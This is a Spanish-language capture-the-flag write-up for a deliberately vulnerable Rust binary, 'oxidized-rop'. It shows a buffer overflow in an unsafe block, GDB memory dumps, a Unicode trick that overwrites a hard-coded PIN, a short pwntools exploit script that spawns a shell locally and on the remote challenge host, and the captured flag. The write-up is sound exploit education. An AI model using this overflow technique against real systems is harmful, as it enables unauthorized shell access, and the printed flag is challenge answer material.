Oxidized ROP
11 minutos de lectura
Tenemos un binario de 64 bits llamado oxidized-rop
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Además, tenemos el código fuente en Rust, por lo que no es necesario realizar ingeniería inversa del binario.
Análisis de código fuente
Esta es la función main
:
fn main() {
print_banner();
let mut feedback = Feedback {
statement: [0_u8; INPUT_SIZE],
submitted: false,
};
let mut login_pin: u32 = 0x11223344;
loop {
print_menu();
match get_option().expect("Invalid Option") {
MenuOption::Survey => present_survey(&mut feedback),
MenuOption::ConfigPanel => {
if PIN_ENTRY_ENABLED {
let mut input = String::new();
print!("Enter configuration PIN: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut input).unwrap();
login_pin = input.parse().expect("Invalid Pin");
} else {
println!("\nConfig panel login has been disabled by the administrator.");
}
present_config_panel(&login_pin);
}
MenuOption::Exit => break,
}
}
}
El programa define una estructura feedback
con un vector statement
de 200 (INPUT_SIZE
) valores u8
(inicializados a 0
), y un indicador submitted
en false
. Luego, tenemos un pin hard-coded (0x11223344
).
El menú muestra dos opciones:
$ ./oxidized-rop
--------------------------------------------------------------------------
______ _______ _____ _____ ____________ _____ _____ ____ _____
/ __ \ \ / /_ _| __ \_ _|___ / ____| __ \ | __ \ / __ \| __ \
| | | \ V / | | | | | || | / /| |__ | | | | | |__) | | | | |__) |
| | | |> < | | | | | || | / / | __| | | | | | _ /| | | | ___/
| |__| / . \ _| |_| |__| || |_ / /__| |____| |__| | | | \ \| |__| | |
\____/_/ \_\_____|_____/_____/_____|______|_____/ |_| \_\\____/|_|
Rapid Oxidization Protection -------------------------------- by christoss
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection:
Si seleccionamos la segunda opción, no podemos ingresar un valor para login_pin
porque PIN_ENTRY_ENABLED
se pone a false
en el principio (una variable global). Pero aún así, el pin se verifica:
$ ./oxidized-rop
--------------------------------------------------------------------------
______ _______ _____ _____ ____________ _____ _____ ____ _____
/ __ \ \ / /_ _| __ \_ _|___ / ____| __ \ | __ \ / __ \| __ \
| | | \ V / | | | | | || | / /| |__ | | | | | |__) | | | | |__) |
| | | |> < | | | | | || | / / | __| | | | | | _ /| | | | ___/
| |__| / . \ _| |_| |__| || |_ / /__| |____| |__| | | | \ \| |__| | |
\____/_/ \_\_____|_____/_____/_____|______|_____/ |_| \_\\____/|_|
Rapid Oxidization Protection -------------------------------- by christoss
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: 2
Config panel login has been disabled by the administrator.
Invalid Pin. This incident will be reported.
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection:
Esta es la función present_config_panel
:
fn present_config_panel(pin: &u32) {
use std::process::{self, Stdio};
// the pin strength isn't important since pin input is disabled
if *pin != 123456 {
println!("Invalid Pin. This incident will be reported.");
return;
}
process::Command::new("/bin/sh")
.stdin(Stdio::inherit())
.stdout(Stdio::inherit())
.output()
.unwrap();
}
Entonces, podemos ver el objetivo. Necesitamos modificar de alguna manera el PIN para pasar el bloque if
y obtener una shell.
Vulnerabilidad de Buffer Overflow
Echemos un vistazo a la primera opción (gestionada por present_survey
):
fn present_survey(feedback: &mut Feedback) {
if feedback.submitted {
println!("Survey with this ID already exists.");
return;
}
println!("\n\nHello, our workshop is experiencing rapid oxidization. As we value health and");
println!("safety at the workspace above all we hired a ROP (Rapid Oxidization Protection) ");
println!("service to ensure the structural safety of the workshop. They would like a quick ");
println!("statement about the state of the workshop by each member of the team. This is ");
println!("completely confidential. Each response will be associated with a random number ");
println!("in no way related to you. \n");
print!("Statement (max 200 characters): ");
io::stdout().flush().unwrap();
let input_buffer = read_user_input();
save_data(&mut feedback.statement, &input_buffer);
println!("\n{}", "-".repeat(74));
println!("Thanks for your statement! We will try to resolve the issues ASAP!\nPlease now exit the program.");
println!("{}", "-".repeat(74));
feedback.submitted = true;
}
Básicamente, usa read_user_input
para leer de stdin
y save_data
para guardar el resultado en feedback.statement
:
fn save_data(dest: &mut [u8], src: &String) {
if src.chars().count() > INPUT_SIZE {
println!("Oups, something went wrong... Please try again later.");
std::process::exit(1);
}
let mut dest_ptr = dest.as_mut_ptr() as *mut char;
unsafe {
for c in src.chars() {
dest_ptr.write(c);
dest_ptr = dest_ptr.offset(1);
}
}
}
Aquí tenemos un bloque unsafe
sospechoso. Se sabe que Rust es un lenguaje memory-safe, a menos que se use unsafe
. Por lo tanto, este es el lugar donde puede aparecer la vulnerabilidad. De hecho, read_user_input
se comporta como una función gets
, y los datos recibidos se almacenan en feedback.statement
sin importar el tamaño del buffer reservado. Por lo tanto, tenemos una vulnerabilidad de Buffer Overflow.
Estrategia de explotación
Usemos GDB para ver cómo se configura la memoria justo después de ingresar la entrada del usuario (ABCD
para probar):
$ gdb -q oxidized-rop
Reading symbols from oxidized-rop...
gef➤ run
Starting program: ./oxidized-rop
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--------------------------------------------------------------------------
______ _______ _____ _____ ____________ _____ _____ ____ _____
/ __ \ \ / /_ _| __ \_ _|___ / ____| __ \ | __ \ / __ \| __ \
| | | \ V / | | | | | || | / /| |__ | | | | | |__) | | | | |__) |
| | | |> < | | | | | || | / / | __| | | | | | _ /| | | | ___/
| |__| / . \ _| |_| |__| || |_ / /__| |____| |__| | | | \ \| |__| | |
\____/_/ \_\_____|_____/_____/_____|______|_____/ |_| \_\\____/|_|
Rapid Oxidization Protection -------------------------------- by christoss
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: 1
Hello, our workshop is experiencing rapid oxidization. As we value health and
safety at the workspace above all we hired a ROP (Rapid Oxidization Protection)
service to ensure the structural safety of the workshop. They would like a quick
statement about the state of the workshop by each member of the team. This is
completely confidential. Each response will be associated with a random number
in no way related to you.
Statement (max 200 characters): ABCD
--------------------------------------------------------------------------
Thanks for your statement! We will try to resolve the issues ASAP!
Please now exit the program.
--------------------------------------------------------------------------
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7f94392 in __libc_read (fd=0x0, buf=0x5555555bcad0, nbytes=0x2000) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
Veamos dónde tenemos el valor de login_pin
predeterminado y examinemos la memoria algunas direcciones antes:
gef➤ grep 0x11223344
[+] Searching '\x44\x33\x22\x11' in memory
[+] In './oxidized-rop'(0x55555555b000-0x5555555a4000), permission=r-x
0x555555560b86 - 0x555555560b96 → "\x44\x33\x22\x11[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe4d8 - 0x7fffffffe4e8 → "\x44\x33\x22\x11[...]"
gef➤ x/60gx 0x7fffffffe300
0x7fffffffe300: 0x00005555555bb048 0x0000000000000001
0x7fffffffe310: 0x00005555555a40e0 0x0000000000000000
0x7fffffffe320: 0x00005555555bb080 0x0000555555560b94
0x7fffffffe330: 0x0000000000000000 0x0000000000000000
0x7fffffffe340: 0x0000004200000041 0x0000004400000043
0x7fffffffe350: 0x0000000000000000 0x0000000000000000
0x7fffffffe360: 0x0000000000000000 0x0000000000000000
0x7fffffffe370: 0x0000000000000000 0x0000000000000000
0x7fffffffe380: 0x0000000000000000 0x0000000000000000
0x7fffffffe390: 0x0000000000000000 0x0000000000000000
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3e0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe400: 0x0000000000000000 0x0000000000020501
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x0000000000000000 0x0000000000000000
0x7fffffffe430: 0x0000000000000000 0x0000000000000000
0x7fffffffe440: 0x0000000000000000 0x0000000000000000
0x7fffffffe450: 0x0000000000000000 0x0000000000000000
0x7fffffffe460: 0x0000000000000000 0x0000000000000000
0x7fffffffe470: 0x0000000000000000 0x0000000000000000
0x7fffffffe480: 0x0000000000000000 0x0000000000000000
0x7fffffffe490: 0x0000000000000000 0x0000000000000000
0x7fffffffe4a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe4b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe4c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe4d0: 0x0000000000000000 0x0000000011223344
Curiosamente, no vemos ABCD
como 44434241
. En cambio, cada carácter tiene una longitud de 4 bytes. Esto es bastante interesante.
Por el momento, calculemos cuántos caracteres necesitamos para sobrescribir el valor predeterminado de login_pin
:
gef➤ p/d (0x7fffffffe4d8 - 0x7fffffffe340) / 4
$d = 102
Entonces, si ingresamos exactamente 102 caracteres, el siguiente sobrescribirá el valor predeterminado de login_pin
. Vamos a probarlo:
gef➤ shell python3 -c 'print("A" * 102 + "B")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
gef➤ run
Starting program: ./oxidized-rop
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--------------------------------------------------------------------------
______ _______ _____ _____ ____________ _____ _____ ____ _____
/ __ \ \ / /_ _| __ \_ _|___ / ____| __ \ | __ \ / __ \| __ \
| | | \ V / | | | | | || | / /| |__ | | | | | |__) | | | | |__) |
| | | |> < | | | | | || | / / | __| | | | | | _ /| | | | ___/
| |__| / . \ _| |_| |__| || |_ / /__| |____| |__| | | | \ \| |__| | |
\____/_/ \_\_____|_____/_____/_____|______|_____/ |_| \_\\____/|_|
Rapid Oxidization Protection -------------------------------- by christoss
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: 1
Hello, our workshop is experiencing rapid oxidization. As we value health and
safety at the workspace above all we hired a ROP (Rapid Oxidization Protection)
service to ensure the structural safety of the workshop. They would like a quick
statement about the state of the workshop by each member of the team. This is
completely confidential. Each response will be associated with a random number
in no way related to you.
Statement (max 200 characters): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
--------------------------------------------------------------------------
Thanks for your statement! We will try to resolve the issues ASAP!
Please now exit the program.
--------------------------------------------------------------------------
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7f94392 in __libc_read (fd=0x0, buf=0x5555555bcad0, nbytes=0x2000) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ x/60gx 0x7fffffffe300
0x7fffffffe300: 0x00005555555bb048 0x0000000000000001
0x7fffffffe310: 0x00005555555a40e0 0x0000000000000000
0x7fffffffe320: 0x00005555555bb080 0x0000555555560b94
0x7fffffffe330: 0x0000000000000000 0x0000000000000000
0x7fffffffe340: 0x0000004100000041 0x0000004100000041
0x7fffffffe350: 0x0000004100000041 0x0000004100000041
0x7fffffffe360: 0x0000004100000041 0x0000004100000041
0x7fffffffe370: 0x0000004100000041 0x0000004100000041
0x7fffffffe380: 0x0000004100000041 0x0000004100000041
0x7fffffffe390: 0x0000004100000041 0x0000004100000041
0x7fffffffe3a0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3b0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3c0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3d0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3e0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3f0: 0x0000004100000041 0x0000004100000041
0x7fffffffe400: 0x0000004100000041 0x0000004100000001
0x7fffffffe410: 0x0000004100000041 0x0000004100000041
0x7fffffffe420: 0x0000004100000041 0x0000004100000041
0x7fffffffe430: 0x0000004100000041 0x0000004100000041
0x7fffffffe440: 0x0000004100000041 0x0000004100000041
0x7fffffffe450: 0x0000004100000041 0x0000004100000041
0x7fffffffe460: 0x0000004100000041 0x0000004100000041
0x7fffffffe470: 0x0000004100000041 0x0000004100000041
0x7fffffffe480: 0x0000004100000041 0x0000004100000041
0x7fffffffe490: 0x0000004100000041 0x0000004100000041
0x7fffffffe4a0: 0x0000004100000041 0x0000004100000041
0x7fffffffe4b0: 0x0000004100000041 0x0000004100000041
0x7fffffffe4c0: 0x0000004100000041 0x0000004100000041
0x7fffffffe4d0: 0x0000004100000041 0x0000000000000042
Ahí está, la B
(42
en hexadecimal) es donde estaba antes el valor predeterminado de login_pin
.
Caracteres Unicode
En este punto, recordé que Rust admite caracteres Unicode. Esto me vino a la mente porque la mayoría de los proyectos de Rust usan caracteres unicode para mejorar la experiencia visual (por ejemplo, feroxbuster, RustScan, lsd o bat). La documentación para esta característica está disponible aquí.
Por lo tanto, en lugar de usar caracteres ASCII normales para modificar el valor predeterminado de login_pin
, usaremos caracteres Unicode para tener una gama más amplia de acción e ingresaremos el carácter de Unicode asociado a 123456
(que es el pin que necesitamos para obtener una shell).
Para saber exactamente el valor que necesitamos para escribir en la memoria, podemos usar Python para ver la representación en bytes:
$ python3 -q
>>> chr(123456).encode()
b'\xf0\x9e\x89\x80'
Este es el valor que necesitamos usar (o simplemente chr(123456).encode()
).
Exploit development
Este es el exploit (muy simple):
def main():
p = get_process()
payload = b'A' * 102 + chr(123456).encode()
p.sendlineafter(b'Selection: ', b'1')
p.sendlineafter(b'Statement (max 200 characters): ', payload)
p.sendlineafter(b'Selection: ', b'2')
p.recv()
p.interactive()
Si lo ejecutamos localmente, tenemos una shell:
$ python3 solve.py
[*] './oxidized-rop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './oxidized-rop': pid 3412329
[*] Switching to interactive mode
$ ls
oxidized-rop oxidized-rop.rs solve.py
Flag
Probemos en la instancia remota:
$ python3 solve.py 138.68.139.152:32345
[*] './oxidized-rop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 138.68.139.152 on port 32345: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
oxidized-rop
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
HTB{7h3_0r4n63_cr4b_15_74k1n6_0v3r!}
El exploit completo se puede encontrar aquí: solve.py
.